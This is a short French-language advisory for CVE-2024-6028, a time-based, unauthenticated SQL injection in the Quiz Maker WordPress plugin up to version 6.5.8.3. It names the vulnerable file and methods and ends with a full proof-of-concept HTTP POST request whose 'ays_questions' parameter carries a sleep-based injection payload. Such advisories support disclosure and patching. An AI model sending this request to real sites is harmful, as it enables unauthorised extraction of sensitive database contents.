
CVE-2024-6028 Quiz Maker <= 6.5.8.3 - Injection SQL non authentifiée via le paramètre 'ays_questions'
CVE-2024-6028 Quiz Maker <= 6.5.8.3 - Injection SQL non authentifiée via le paramètre 'ays_questions'
Le plugin Quiz Maker pour WordPress est vulnérable à une injection SQL basée sur le temps via le paramètre 'ays_questions' dans toutes les versions jusqu'à la version 6.5.8.3 incluse, en raison d'un échappement insuffisant du paramètre fourni par l'utilisateur et d'un manque de préparation suffisante de la requête SQL existante. Cela permet à des attaquants non authentifiés d'ajouter des requêtes SQL supplémentaires dans des requêtes déjà existantes, qui peuvent être utilisées pour extraire des informations sensibles de la base de données.
Fichier : wp-content/plugins/quiz-maker/public/class-quiz-maker-public.php
Classe : Quiz_Maker_Public
Flux de travail : méthode ays_finish_quiz -> méthode get_questions_categories image image image
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,5,0)]=&action=ays_finish_quiz
image